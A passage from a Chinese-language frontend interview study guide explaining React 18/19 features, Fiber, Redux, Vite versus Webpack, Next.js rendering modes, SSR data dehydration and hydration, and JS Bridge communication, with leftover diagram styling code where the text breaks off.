中文:一个编译时工具,可以静态分析组件代码,自动插入等价于 useMemo/useCallback/memo 的优化,理论上以后很多场景不需要手写这些优化 Hook 了。编译器是渐进式采用的,目前(2026年)已经在部分生产环境落地,但不是所有项目都默认开启。

7. 文档元数据(Document Metadata)内置支持

中文:可以直接在组件内渲染 <title>、<meta>、<link> 标签,React 会自动把它们提升到 <head> 里,不再需要 react-helmet 这类第三方库处理基础场景。

面试总结话术(可以中文说):

"React 18 的核心是并发渲染架构的落地------自动批处理、Transition、Suspense 数据请求;React 19 更多是开发体验和表单/异步交互范式的升级------Actions、useOptimistic、use() API,以及用编译器取代手写性能优化。两代版本的共同方向,是让 React 既能处理好用户体验的『优先级』问题,又能减少开发者手写样板代码。"


2.4 React Fiber 架构(面试高频,必须讲清楚)

Fiber 是什么?为什么要有 Fiber?

中文:Fiber 是 React 16 开始引入的新协调(Reconciliation)引擎,核心目的是解决老版本 Stack Reconciler 的问题------老的 diff 算法是递归、同步、不可中断的,一旦开始对比整棵组件树就必须一口气跑完,组件树一大,就会长时间占用主线程,导致页面卡顿、输入掉帧、动画不流畅。Fiber 把这个过程改造成了可中断、可恢复、可分优先级的增量渲染。

Fiber 节点本质上是什么?

中文:每一个 Fiber 节点对应一个组件/DOM 元素的"工作单元"(unit of work),本质上是一个 JS 普通对象,不是真实 DOM,也不是虚拟 DOM 的那个 VDOM 对象本身(虽然有对应关系)。每个 Fiber 节点保存了:组件类型、props、state、指向父节点(return)、第一个子节点(child)、下一个兄弟节点(sibling)的指针,组成一棵链表化的树结构------这是关键:之所以用链表而不是传统递归栈,是为了让遍历过程可以被暂停,之后能根据指针恢复到刚才的位置继续遍历,而传统的函数递归调用栈没法做到"中途暂停、之后恢复"。

Fiber 架构下的两个阶段:

  1. Render/Reconciliation 阶段(可中断)------构建 Fiber 树、计算出哪些节点需要更新(打"effect 标记"),这个阶段是异步的,可以被更高优先级的任务打断(比如用户输入),之后再恢复,不会产生用户可感知的副作用,因为还没有真正操作 DOM。
  2. Commit 阶段(不可中断)------把 Render 阶段计算好的变更一次性应用到真实 DOM 上,这个阶段必须同步一口气执行完,否则用户会看到渲染到一半的 UI(比如一半 DOM 更新了一半没更新)。

双缓冲(Double Buffering)机制:

中文:React 同时维护两棵 Fiber 树------current 树(当前屏幕上显示的)和 workInProgress 树(正在后台构建的下一次更新)。构建完成并且 Commit 之后,workInProgress 树直接变成新的 current 树(指针切换),这种"构建一棵新树、整体切换"的方式类似双缓冲渲染,避免了"边计算边修改当前树"导致的中间状态不一致问题。

优先级调度(Scheduler + Lane 模型):

中文:React 18 用 Lane 模型(二进制位运算表示的优先级"车道")替代了之前的过期时间(expirationTime)模型,可以表达更精细、更多档位的优先级,并支持同一时间多个不同优先级更新的合并/插队处理。背后由独立的 Scheduler 包(可以脱离 React 单独使用)负责在浏览器空闲时间片(类似 requestIdleCallback 的思路,但是自己实现了兼容性更好的时间分片机制)里调度任务,这也是 useTransition、useDeferredValue 这些 Concurrent Features 能够实现"优先级可中断"的底层基础。

面试总结话术:

中文:"Fiber 本质上是 React 16 把'递归同步diff'重构成'可中断的链表遍历'的一次底层架构重写。它引入了 Render(可中断)和 Commit(不可中断)两阶段模型,配合 Scheduler 的时间分片和 Lane 优先级模型,才使得 React 18 的并发特性(Transition、Suspense)成为可能。它解决的核心问题是:大组件树更新时,不能因为一次性同步计算而阻塞主线程,影响用户输入和动画的流畅度。"


3. Redux 面试常见问题

Redux 的三大原则:

  1. 单一数据源(Single Source of Truth)------整个应用状态存在一棵 store 树里。
  2. State 是只读的(State is Read-Only)------唯一改变状态的方式是 dispatch 一个 action。
  3. 使用纯函数执行修改(Changes via Pure Functions)------reducer 必须是纯函数,不能有副作用,根据 (state, action) 计算出新状态。

为什么 Redux 的 reducer 要求是纯函数、不可变更新(immutable update)?

中文:纯函数+不可变数据让状态变化可预测、可追踪(时间旅行调试)、方便做浅比较(===)来判断是否需要重渲染------如果直接 mutate 原对象,React-Redux 的浅比较会误判"没变化",导致 UI 不更新;同时也方便做历史记录回放和撤销/重做功能。

Redux Toolkit(RTK)解决了什么问题?

  • 内置 createSlice,自动生成 action creator 和 action type,不用手写一堆常量和 switch-case。
  • 内部使用 Immer ,允许在 reducer 里写"看起来像 mutate"的代码(state.count += 1),Immer 会自动转换成不可变更新。
  • configureStore 默认集成了 redux-thunk 中间件和 DevTools,开箱即用。
  • createAsyncThunk 标准化异步请求的 pending/fulfilled/rejected 状态处理。
  • RTK Query 内置了类似 TanStack Query 的服务端状态管理(缓存、自动重新请求、乐观更新)。

中间件(Middleware)的作用,以及 redux-thunk vs redux-saga 的区别:

中文:中间件拦截 dispatch 的 action,可以在到达 reducer 之前做额外处理(日志、异步请求、路由跳转等)。redux-thunk 很轻量,让 action creator 可以返回一个函数(而不是普通对象),在函数里写异步逻辑,简单直接;redux-saga 用 Generator 函数处理复杂异步流程(取消、并发控制、防抖节流、复杂的副作用编排),学习成本更高但对复杂业务流程更友好。

Redux vs React Context 的区别(面试高频):

中文:Context 本质是"依赖注入"机制,不是状态管理方案------它没有自带的 action/reducer 模式,没有中间件、没有 DevTools 时间旅行调试,而且前面提到过,Context 值变化会导致所有消费者重渲染,没有像 Redux 那样基于 selector 的细粒度订阅(useSelector 只在选中的那部分状态变化时才重渲染对应组件)。小型、低频更新的全局数据适合 Context;复杂、高频更新、需要调试工具、需要中间件处理副作用的场景适合 Redux。

Redux vs Zustand:

中文:Zustand 更轻量、API 更简单(没有 action/reducer 模板代码),基于 hook 的方式直接读写状态,底层也是靠 useSyncExternalStore 做细粒度订阅。Redux 生态更成熟(DevTools、中间件生态、团队规范统一性更强),大型银行级项目如果团队已经有 Redux 的工程规范和经验,继续用 Redux(Toolkit) 更稳妥;新项目或小团队,Zustand 上手更快。

useSelector 的性能注意点:

中文:useSelector 默认用 === 浅比较返回值,如果 selector 每次都返回一个新对象/数组字面量(比如 state => ({ a: state.a, b: state.b })),每次 store 更新都会被判定为"变了",导致不必要的重渲染------要么拆成多个 useSelector 分别订阅单个字段,要么用 reselect 做 memoized selector,要么用 RTK 自带的 createSelector。


4. Vite vs Webpack 面试常见问题

核心原理区别:

中文:Webpack 是"先打包再启动"------开发环境下也要把所有模块打包成 bundle 才能启动 dev server,项目越大,冷启动越慢。Vite 开发环境下不打包 ,直接利用浏览器原生支持 ES Module(<script type="module">),按需编译/转换请求到的文件,所以无论项目多大,冷启动速度几乎恒定,只和"当前页面实际用到的模块数量"有关,不是和"全部模块数量"有关。

Vite 的 HMR(热更新)为什么更快?

中文:Webpack 的 HMR 需要重新计算模块依赖图中受影响的部分,再重新打包那一部分 bundle。Vite 基于原生 ESM,文件改动后只需让浏览器重新请求这一个模块文件,不需要重新打包整个依赖图,所以 HMR 几乎是瞬时的,和项目规模无关。

生产构建(build)为什么 Vite 还是用 Rollup(而不是继续用原生 ESM)?

中文:浏览器原生 ESM 在生产环境下如果不打包,会产生大量细碎的网络请求(每个模块一个文件),即使有 HTTP/2 多路复用,性能也不如合并打包。所以 Vite 开发环境用原生 ESM 追求速度,生产构建阶段切换到 Rollup 打包、Tree-shaking、代码分割,兼顾最终产物的加载性能。

Tree-shaking 的原理和前提条件:

中文:基于 ES Module 的静态结构(import/export 在编译期就能确定,不像 CommonJS 的 require 是运行时动态的),打包工具可以静态分析出哪些导出没被使用,在打包时删除这些"死代码"。前提:代码必须是 ESM 格式,且没有副作用(或者正确标记 "sideEffects": false),否则打包工具不敢贸然删除,怕删掉有副作用的代码。

Vite 的插件机制和 Webpack 的 Loader/Plugin 机制对比:

中文:Webpack 区分 Loader(转换单个文件内容,比如把 .scss 转成 .css)和 Plugin(在构建生命周期的各个阶段做更广泛的操作)。Vite 的插件机制基于 Rollup 的插件接口扩展而来,一套插件 API 同时覆盖"转换文件内容"和"介入构建流程",并额外扩展了开发服务器相关的钩子(比如 configureServer),插件体系相对统一、学习成本更低。

什么场景下还是可能选择 Webpack 而不是 Vite?

中文:非常老旧的项目,重度依赖 Webpack 生态里一些还没有 Vite 对应方案的特殊 Loader/Plugin;或者需要兼容非常旧的浏览器、需要用 Webpack 特有的某些高级特性(Module Federation 微前端方案目前 Webpack 的生态更成熟,虽然 Vite 也有对应方案如 vite-plugin-federation,但成熟度还在追赶)。

面试总结话术:

中文:"Vite 和 Webpack 最大的区别在于开发环境的工作方式------Vite 利用浏览器原生 ESM 实现按需编译,启动快、HMR 快;Webpack 需要提前打包全部依赖图。但在生产构建阶段,两者其实是『殊途同归』,Vite 底层用 Rollup 打包,核心优化手段(Tree-shaking、代码分割、压缩)本质上是类似的。选型上,新项目我会优先选 Vite,尤其是中大型项目,开发体验提升非常明显;老项目如果已经有成熟的 Webpack 配置和插件生态依赖,迁移成本要结合实际情况评估。"


5. React 架构设计 ------ 要点

5.1 组件架构

  • 容器/展示组件模式 或其现代等价物:自定义 Hook 处理逻辑 + "哑组件"负责渲染------把数据请求/状态管理和 UI 渲染分离。
  • 组合优于继承:优先用 children/render props/复合组件模式,而不是层层传递 props(prop drilling)。
  • 就近原则(Colocation) :组件、样式(CSS Modules)、测试文件放在一起,更易维护,符合基于功能模块的目录结构(如 components/UserCard/{UserCard.tsx, UserCard.module.scss, UserCard.test.tsx})。

5.2 状态管理选型决策树

中文:"我不会默认就上全局状态管理,决策顺序是:

  1. 局部 useState ------ 只在组件内部用的状态。
  2. 状态提升/组合 ------ 几个兄弟组件之间共享。
  3. React Context ------ 低频变化的全局数据(主题、登录用户信息)------不适合高频更新的数据(会导致重渲染风暴)。
  4. 服务端状态库(TanStack Query / SWR )------ 任何来自 API 的数据:缓存、重试、去重、后台自动刷新。这类数据不应该塞进 Redux/Zustand 里。
  5. 客户端全局状态库(Zustand/Redux)------ 只用于真正跨组件、纯客户端的状态(比如多步骤表单向导、跨多个距离较远组件共享的 UI 面板开关状态)。"

5.3 性能优化

  • memo、useCallback、useMemo ------ 只在有可量化的重渲染问题时用(靠 Profiler 数据驱动决策,不是凭感觉提前优化)。
  • 通过 React.lazy + 路由级别代码分割。
  • 长列表用虚拟化(react-window)。
  • 避免给已经 memo 包裹的子组件传递"每次渲染都重新创建"的匿名函数/对象字面量(会破坏引用相等性判断)。

5.4 渲染策略

  • CSR vs SSR vs SSG vs ISR ------ 了解各自的权衡(SEO、首字节时间 TTFB、水合成本),详细展开见第 6 节「服务端渲染与 Next.js」。
  • 水合不匹配(Hydration Mismatch)问题及规避方法(渲染过程中不要用未做好防护的 Date.now()/Math.random())。

5.5 测试策略

  • Hook/工具函数单独做单元测试。
  • 用 React Testing Library 做组件测试------测试"行为"而非"实现细节"(按角色/文本查询元素,而不是按 class 名)。
  • 用 MSW 模拟网络请求,而不是直接 mock fetch------测试更贴近真实行为。

6. 服务端渲染与 Next.js(SSR / SSG / ISR / RSC)

6.1 四种渲染模式对比

模式 什么时候生成 HTML 典型场景 优点 缺点
CSR(客户端渲染) 浏览器加载 JS 后在客户端生成 纯 SPA、后台管理系统 服务器压力小,交互体验好 首屏白屏时间长、SEO 差(除非配合预渲染)
SSR(服务端渲染) 每次请求时,服务器实时生成 HTML 新闻资讯、电商详情页、需要 SEO 且内容经常变化的页面 首屏快(FCP 好)、SEO 友好 每次请求都要服务器计算,TTFB 可能变长;服务器成本高
SSG(静态站点生成) 构建时(build time)预先生成好所有 HTML 博客、文档站、营销落地页等内容不常变的页面 直接走 CDN,首屏最快,服务器压力几乎为零 内容更新需要重新构建部署,不适合高频变化的数据
ISR(增量静态再生成) 构建时生成,之后按设定的时间间隔或按需在后台静默重新生成,不阻塞当前访问 电商商品页(价格偶尔变化)、既要静态的速度又要内容保持新鲜 兼顾 SSG 的速度和数据新鲜度,不用每次改内容都重新部署整个站点 配置和心智模型比纯 SSR/SSG 复杂,极端情况下用户可能短暂看到旧数据(stale-while-revalidate)

6.2 Next.js 核心概念

getServerSideProps / getStaticProps / getStaticPaths(Pages Router,老项目常见):

  • getStaticProps:构建时执行,返回的数据用于生成静态页面(SSG),可以配置 revalidate 字段开启 ISR。
  • getServerSideProps:每次请求时在服务端执行,用于 SSR。
  • getStaticPaths:配合动态路由([id].tsx)告诉 Next.js 要在构建时预生成哪些具体路径的页面。

App Router + RSC(React Server Components,新项目主流):

中文:Next.js 13+ 的 App Router 引入了 React Server Components(服务端组件)概念------组件默认就是"服务端组件",只在服务器上渲染,不会被打进发送给浏览器的 JS bundle 里,可以直接在组件里 await 调用数据库/API,不需要额外的 getServerSideProps。如果需要用到浏览器 API、state、事件处理(onClick 等),必须显式在文件顶部加 'use client' 声明为客户端组件。两者可以混合嵌套,但有一个重要规则:服务端组件可以引入客户端组件,但客户端组件不能直接引入服务端组件(只能通过 children 插槽的方式传入)。

RSC 和传统 SSR 的区别(面试高频追问):

中文:传统 SSR 是把整个页面组件树在服务端渲染成 HTML 字符串,发给浏览器后还要做"水合(Hydration)"------即把相同的 JS 组件代码在客户端重新跑一遍,绑定事件、恢复交互能力,所以 SSR 页面的 JS bundle 里依然包含了所有组件的代码。RSC 更进一步------服务端组件的代码本身永远不会被发送到浏览器,只会把渲染结果(一种特殊的序列化格式,不是普通 HTML 字符串)传给客户端,大幅减少客户端 JS 体积,也不需要对这部分组件做水合。

Hydration(水合)具体是什么?

中文:服务端渲染出来的 HTML 到达浏览器后,只是"看起来"是完整页面,但还没有绑定任何事件监听、没有 React 的内部状态树。水合就是 React 在客户端"复用"这份已有的 DOM 结构,为它挂上事件监听、建立 Fiber 树和组件状态,让静态 HTML 变成可交互的页面。如果客户端计算出来的内容和服务端渲染的 HTML 结构不一致(比如用了 Date.now()、只在客户端才有的 window 判断分支),就会报 Hydration Mismatch 警告/错误。

Next.js 的其他面试常考点:

  • 文件系统路由(File-system Routing) :pages/(或 app/)目录结构直接映射成路由,不需要手动配置路由表。
  • 图片优化 :内置 next/image,自动做响应式尺寸、懒加载、现代图片格式(WebP/AVIF)转换。
  • 中间件(Middleware):运行在 Edge Runtime,可以在请求到达页面之前做鉴权校验、重定向、A/B 测试分流等。
  • Streaming + Suspense :App Router 支持把页面拆成多块,边生成边流式传输给浏览器,配合 loading.tsx/<Suspense> 做分块加载,不用等所有数据都齐了才返回第一个字节。

面试总结话术:

中文:"SSR/SSG/ISR 的本质区别是 HTML 什么时候生成------SSR 是每次请求都生成,SSG 是构建时生成一次,ISR 是构建时生成、之后按需/定时在后台重新生成。选型要看内容更新频率和 SEO/首屏要求:内容几乎不变用 SSG,经常变又要 SEO 用 SSR 或 ISR。Next.js 的 App Router 引入 React Server Components 之后,很多场景下甚至不需要在 SSR 和 CSR 之间做二选一,而是在同一个页面里按组件粒度混合使用服务端组件和客户端组件,进一步减少发给浏览器的 JS 体积。"


6.3 数据预取 / 脱水(Dehydrate)/ 注水(Hydrate)------ 服务端数据怎么"过桥"到客户端

面试高频追问:"SSR 页面里,服务端查好的数据到底是怎么传到浏览器、又是怎么被客户端的 React Query/Redux 用上的?" ------ 这里把完整链路讲清楚。

核心问题: 服务端渲染时已经把数据查好、组件也渲染成 HTML 了,但浏览器拿到的只是静态 HTML 字符串 ------客户端 JS 重新跑起来的时候(水合阶段),并不知道服务端刚刚查过什么数据。如果不做任何处理,客户端水合后会重新发一次请求 再查一遍数据(浪费一次网络往返,还可能和服务端渲染时的数据不一致,导致 Hydration Mismatch)。解决办法就是把"服务端已经查到的数据"序列化后一起嵌入返回的 HTML 里,客户端启动时直接读取这份数据"复用",不用重新请求。

为什么这一整套流程的本质是为了"双端一致性"?

面试常问:"数据预取/脱水/注水这几步,最终解决的核心问题是什么?" ------ 一句话:保证服务端渲染时用的数据,和客户端水合后组件读到的数据,是完全同一份(同一个状态快照),不多不少、不早不晚。

  • "双端"指的是 :服务端(Server,生成 HTML 时所处的 Node.js 运行时)和客户端(Client,浏览器里重新跑起来的那份 JS)------这是两个完全独立、互不共享内存的 JS 运行环境,唯一的桥梁就是服务端返回的那一份 HTML(以及嵌在里面的 JSON 数据)。
  • "一致性"指的是 :两端对"同一个页面、同一份数据"的描述必须完全对齐,具体体现在两层:
    1. 数据层面的一致 (脱水/注水负责):服务端用来渲染 HTML 的数据(比如 {id:1, name:'Tom'}),必须和客户端水合后缓存里的数据逐字段相同。如果客户端水合时又自己悄悄发了一次请求、拿到了一份"更新过的"数据,两端数据就不一致了。
    2. DOM 结构层面的一致 (DOM 水合负责):React 在客户端"水合"时,会拿当前的组件渲染结果去比对 服务端吐出来的静态 HTML 结构,如果两者对不上(比如条件渲染分支不同、数据不同导致渲染出的文本不同),就会报 Hydration Mismatch 警告/错误,表现为页面闪烁、内容突变,甚至直接抛错。
  • 为什么必须靠"脱水 → 传 JSON → 注水"而不是让客户端自己重新请求一遍? 因为如果客户端重新请求,两次请求之间数据完全可能发生变化(比如库存数、余额、时间戳类字段),服务端渲染时是 A 值,客户端重新请求回来是 B 值,这就从根本上破坏了双端一致性,产生 Hydration Mismatch;而"脱水/注水"是把服务端那一次请求的结果原封不动地搬运给客户端,两端用的是物理上同一份数据,天然保证一致。
  • 一句话记忆 :数据预取决定"用什么数据渲染",脱水决定"怎么把这份数据安全地带到浏览器",注水决定"客户端怎么原样复用这份数据而不是另起炉灶重新请求"------三者合起来,最终服务的目标就是双端一致性(Server-Client Consistency),避免 Hydration Mismatch。

完整链路(面试常被要求画图/口述):
浏览器(客户端 JS) 返回的 HTML 响应 服务端(Node/Next.js) 浏览器(客户端 JS) 返回的 HTML 响应 服务端(Node/Next.js) #mermaid-svg-4x7NtrG8rkZblspj{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-4x7NtrG8rkZblspj .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-4x7NtrG8rkZblspj .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-4x7NtrG8rkZblspj .error-icon{fill:#552222;}#mermaid-svg-4x7NtrG8rkZblspj .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-4x7NtrG8rkZblspj .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-4x7NtrG8rkZblspj .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-4x7NtrG8rkZblspj .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-4x7NtrG8rkZblspj .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-4x7NtrG8rkZblspj .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-4x7NtrG8rkZblspj .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-4x7NtrG8rkZblspj .marker{fill:#333333;stroke:#333333;}#mermaid-svg-4x7NtrG8rkZblspj .marker.cross{stroke:#333333;}#mermaid-svg-4x7NtrG8rkZblspj svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-4x7NtrG8rkZblspj p{margin:0;}#mermaid-svg-4x7NtrG8rkZblspj .actor{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-4x7NtrG8rkZblspj text.actor>tspan{fill:black;stroke:none;}#mermaid-svg-4x7NtrG8rkZblspj .actor-line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-4x7NtrG8rkZblspj .innerArc{stroke-width:1.5;stroke-dasharray:none;}#mermaid-svg-4x7NtrG8rkZblspj .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333;}#mermaid-svg-4x7NtrG8rkZblspj .messageLine1{stroke-width:1.5;stroke-dasharray:2,2;stroke:#333;}#mermaid-svg-4x7NtrG8rkZblspj #arrowhead path{fill:#333;stroke:#333;}#mermaid-svg-4x7NtrG8rkZblspj .sequenceNumber{fill:white;}#mermaid-svg-4x7NtrG8rkZblspj #sequencenumber{fill:#333;}#mermaid-svg-4x7NtrG8rkZblspj #crosshead path{fill:#333;stroke:#333;}#mermaid-svg-4x7NtrG8rkZblspj .messageText{fill:#333;stroke:none;}#mermaid-svg-4x7NtrG8rkZblspj .labelBox{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-4x7NtrG8rkZblspj .labelText,#mermaid-svg-4x7NtrG8rkZblspj .labelText>tspan{fill:black;stroke:none;}#mermaid-svg-4x7NtrG8rkZblspj .loopText,#mermaid-svg-4x7NtrG8rkZblspj .loopText>tspan{fill:black;stroke:none;}#mermaid-svg-4x7NtrG8rkZblspj .loopLine{stroke-width:2px;stroke-dasharray:2,2;stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-4x7NtrG8rkZblspj .note{stroke:#aaaa33;fill:#fff5ad;}#mermaid-svg-4x7NtrG8rkZblspj .noteText,#mermaid-svg-4x7NtrG8rkZblspj .noteText>tspan{fill:black;stroke:none;}#mermaid-svg-4x7NtrG8rkZblspj .activation0{fill:#f4f4f4;stroke:#666;}#mermaid-svg-4x7NtrG8rkZblspj .activation1{fill:#f4f4f4;stroke:#666;}#mermaid-svg-4x7NtrG8rkZblspj .activation2{fill:#f4f4f4;stroke:#666;}#mermaid-svg-4x7NtrG8rkZblspj .actorPopupMenu{position:absolute;}#mermaid-svg-4x7NtrG8rkZblspj .actorPopupMenuPanel{position:absolute;fill:#ECECFF;box-shadow:0px 8px 16px 0px rgba(0,0,0,0.2);filter:drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4));}#mermaid-svg-4x7NtrG8rkZblspj .actor-man line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-4x7NtrG8rkZblspj .actor-man circle,#mermaid-svg-4x7NtrG8rkZblspj line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;stroke-width:2px;}#mermaid-svg-4x7NtrG8rkZblspj :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 1. 数据预取(Data Prefetching): 调用 API/数据库, 得到数据 2. 用数据渲染出组件 HTML 字符串 3. 脱水(Dehydrate): 把数据/缓存状态序列化成 JSON 4. 把 JSON 内嵌进 <script> 标签挂到 HTML 里 5. 整个 HTML(含内嵌 JSON)传给浏览器 6. 客户端 JS 启动, 读取 <script> 标签里的 JSON 7. 注水(Hydrate): 用这份 JSON 重建缓存/状态, 再做 DOM 水合 8. 组件直接复用缓存数据, 无需重新发请求

几个关键术语辨析(容易混用,面试要分清楚):

术语 发生在哪一端 具体做什么
数据预取(Data Prefetching / Prefetch) 服务端(渲染之前) 在生成 HTML 之前,服务端提前把页面需要的数据查好(调 API、查库),确保首屏 HTML 里已经包含真实数据,而不是 loading 占位
脱水(Dehydrate) 服务端(渲染之后,响应之前) 把内存里的缓存/状态对象(比如 React Query 的 QueryClient 缓存、Redux store)序列化成普通 JSON,去掉函数、Symbol、循环引用等不能跨 JS 运行时传递的部分
注水(Hydrate,指"数据"注水) 客户端(JS 启动时) 读取服务端传过来的 JSON,反序列化后塞回客户端自己的 QueryClient/Store 里,重建出和服务端一致的初始缓存/状态
水合(Hydration,指"DOM"水合) 客户端(JS 启动时) React 把事件监听、Fiber 树挂载到已有的静态 HTML 上,让页面从"看起来能交互"变成"真的能交互"------这是另一个维度的"水合",容易和上面的"数据注水"搞混,但本质不是一回事,只是中文翻译都带"水"字

数据具体是怎么"挂"到页面上传过去的?------ 就是挂在 <script> 标签里,不是 window.xxx = ... 这种裸写法:

html 复制代码
<!-- 服务端渲染输出的 HTML 片段(示意) -->
<div id="root"><!-- 已经用数据渲染好的 HTML --></div>

<script id="__NEXT_DATA__" type="application/json">
  {"props":{"pageProps":{"dehydratedState":{"queries":[{"queryKey":["user",1],"state":{"data":{"id":1,"name":"Tom"}}}]}}}}
</script>
  • 之所以用 <script type="application/json"> 而不是直接拼 window.__DATA__ = {...} 这种内联 JS 赋值语句,是因为:
    1. 防 XSS :type="application/json" 的内容不会被当成 JS 执行 ,即使数据里混进了恶意字符串也不会变成可执行代码;而 window.xxx = {...} 这种写法如果没对数据做 JSON.stringify 的安全转义(尤其是 </script> 这种闭合标签字符),就有被注入脚本的风险。
    2. 职责分离:标签只是"运数据"的容器,数据什么时候被谁读取、怎么用,完全由后面加载的客户端 JS 决定,而不是在解析 HTML 的过程中就被动执行。
    3. 客户端读取方式很简单:JSON.parse(document.getElementById('__NEXT_DATA__').textContent),拿到普通对象后再喂给 React Query 的 hydrate() 或 Redux 的 createStore(reducer, preloadedState)。
  • Next.js 自己用的就是这个模式------内置的 __NEXT_DATA__ 这个 <script type="application/json"> 标签,装着 getServerSideProps/getStaticProps 返回的 props,客户端启动时框架自动读取并注入到页面组件里。
  • React Query / TanStack Query 提供专门的 API 配合这套流程:服务端用 dehydrate(queryClient) 导出缓存快照(上面例子里的 dehydratedState),客户端用 <HydrationBoundary state={dehydratedState}>(旧版本叫 <Hydrate>)把这份快照"注水"回客户端自己的 QueryClient,之后组件调用 useQuery 时发现缓存已经有数据,直接复用,不会再发一次网络请求(除非数据过期触发后台重新验证)。
  • Redux SSR 常见做法类似:服务端 store.getState() 拿到初始状态 → 序列化塞进同样的 <script type="application/json"> 标签 → 客户端 JSON.parse 后作为 preloadedState 传给 configureStore,这样客户端 store 的初始状态和服务端渲染时完全一致,避免水合不匹配。

面试总结话术:

英文表达:"On the server, we prefetch the data a page needs before rendering, so the initial HTML already contains real content instead of loading placeholders. After rendering, we dehydrate the server-side cache --- essentially serializing it into plain JSON --- and embed that JSON in a <script type='application/json'> tag in the response, never as an inline window.foo = {...} assignment, specifically to avoid script-injection risk and keep the payload inert until our own client code deliberately parses it. On the client, once the JS bundle loads, we parse that JSON and hydrate it back into the same cache structure --- React Query's HydrationBoundary or Redux's preloadedState --- so components immediately see the same data the server used, without an extra round-trip, and separately React also hydrates the DOM itself by attaching event listeners to the existing server-rendered markup."

中文理解:服务端渲染前先做"数据预取",让首屏 HTML 自带真实内容;渲染完之后把服务端的缓存"脱水"成普通 JSON,塞进 <script type="application/json"> 标签(不是裸的 window.xxx= 赋值,是为了防 XSS、避免数据被当成可执行脚本);客户端 JS 跑起来之后解析这段 JSON,"注水"回自己的缓存结构(React Query 的 HydrationBoundary,或 Redux 的 preloadedState),组件立刻复用这份数据不用重新请求;另外 React 自己还会对 DOM 做"水合"(挂事件监听),这是另一件事,容易被混在一起说但其实是两个不同维度的"水"。


7. Native 通信方式(JS Bridge 等)

适用场景:Hybrid App(React Native WebView 容器、App 内嵌 H5 页面)需要让 JS 和 Native(iOS/Android)双向通信。

7.1 JS Bridge 基本原理

核心问题: JS 运行在 WebView 的 JS 引擎里,Native 代码运行在宿主 App 的运行时里,两者是隔离的沙盒环境,不能直接互相调用函数,必须通过 WebView 提供的有限几个"桥接通道"来通信。

常见的三种底层通信方式:

方式 原理 特点
URL Scheme 拦截 JS 创建一个隐藏 iframe,把 src 设置成约定好的自定义协议 URL(如 myapp://action?param=xxx),Native 侧拦截 WebView 的页面跳转请求,解析出协议里的参数后执行对应逻辑 老方案,兼容性好但有 URL 长度限制,且是异步、单向(JS → Native),通常需要配合轮询或者 Native 主动注入 JS 来实现"回调"
注入全局对象(window.xxx) Native 通过 WebView 提供的 API(iOS WKWebView 的 messageHandlers,Android 的 addJavascriptInterface)往 window 上挂一个全局对象,JS 直接调用这个对象的方法,Native 侧接收到调用 现代主流方案,双向调用更直接;Android 的 addJavascriptInterface 历史上有安全漏洞(任意 JS 都能调用暴露的 Java 方法,可能被恶意页面利用),需要做好 WebView 加载域名白名单控制
postMessage 标准 Web API,WebView 侧监听 message 事件,Native 侧通过 WebView 提供的接口(如 Android WebView.postWebMessage、iOS WKScriptMessageHandler)发送消息 标准化程度最高,是目前推荐的主流方案,浏览器/WebView 都原生支持,不需要 hack URL 协议

7.1.1 URL Scheme 方案详细流程(面试常被要求画图讲解)

中文:Scheme 方案的核心思路是"借用页面跳转这个浏览器必定会触发的动作"来把参数偷偷带给 Native,因为 Native 侧一定会拦截到 WebView 的每一次导航请求(shouldOverrideUrlLoading / decidePolicyForNavigationAction 这类钩子)。
Native 代码 (iOS/Android) WebView 容器 (Native 宿主) 隐藏 iframe H5 页面 (JS) Native 代码 (iOS/Android) WebView 容器 (Native 宿主) 隐藏 iframe H5 页面 (JS) #mermaid-svg-HRYynQl1DtuzPynx{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-HRYynQl1DtuzPynx .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-HRYynQl1DtuzPynx .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-HRYynQl1DtuzPynx .error-icon{fill:#552222;}#mermaid-svg-HRYynQl1DtuzPynx .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-HRYynQl1DtuzPynx .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-HRYynQl1DtuzPynx .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-HRYynQl1DtuzPynx .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-HRYynQl1DtuzPynx .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-HRYynQl1DtuzPynx .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-HRYynQl1DtuzPynx 